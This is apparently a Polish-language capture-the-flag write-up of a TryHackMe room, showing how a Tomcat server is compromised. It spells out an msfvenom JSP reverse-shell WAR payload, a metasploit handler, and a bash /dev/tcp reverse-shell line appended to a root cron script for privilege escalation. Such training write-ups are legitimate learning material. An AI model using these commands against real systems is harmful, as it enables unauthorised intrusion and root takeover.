Link do room’u: https://tryhackme.com/r/room/bsidesgtthompson
Zacząłem od enumeracji
nmap -oN nmap.txt -Pn -T4 -sC -sV 10.10.188.85
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
Wszedłem sobie na stronkę http://10.10.188.85:8080
Kliknąłem Manager App i poprosiło mnie to o login
spróbowałem admin:tomcat
i tomcat:tomcat
ale nie weszło, nacisnąłem więc cancel i wyświetliły mi się ciekawe informacje
Używając username tomcat
i password s3cret
udało mi się zalogować na stronę
Zjeżdżając niżej, zauważyłem, że mogę wgrać plik .war
- nie wiedziałem co to jest, ale po szybkim wygooglowaniu dowiedziałem się, że jest to plik używany do dystrybucji kolekcji plików JAR, JavaServer Pages, Java Servlets i klas Java
Sprawdziłem dostępne payloady metasploita
wykorzystałem java/jsp_shell_reverse_tcp
używając
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > rev.war
w drugim oknie terminala włączyłem msfconsole
i wpisałem:
use multi/handler
set payload java/jsp_shell_reverse_tcp
Ustawiłem również LHOST
i LPORT
bazując na tym co wpisałem do msfvenom
set LHOST=IP
set LPORT=PORT
na sam koniec wpisałem exploit
no i wgrałem tego exploita na stronę
po kliknięciu w /rev
udało się uzyskać dostęp do shella. Zespawnowałem sobie od razu lepszego, używając pythona
python3 -c "import pty; pty.spawn('/bin/bash')"
wędrując po directory, udało mi się znaleźć flagę usera
Pora na eskalację uprawnień, sprawdziłem sudo -l
ale kazał mi podać hasło, więc próbuję znaleźć inną drogę
Sprawdźmy crontaba, cat /etc/crontab
no i mamy coś ciekawego, id.sh
w home directory jack’a - sprawdzę jeszcze tylko uprawnienia do tego pliku przez komendę ls -la /home/jack/id.sh
no i super, wygląda na to, że może być to nasz sposób na eskalację uprawnień, sprawdźmy tylko co jest w tym pliku
dopiszę sobie reverse shella używając echo
:
echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" >> /home/jack/id.sh
w kolejnym oknie terminala włączyłem netcata
nc -nvlp LPORT
no i po chwili udało się uzyskać dostęp do root shella. Pozostało już tylko wyciągnąć flagę roota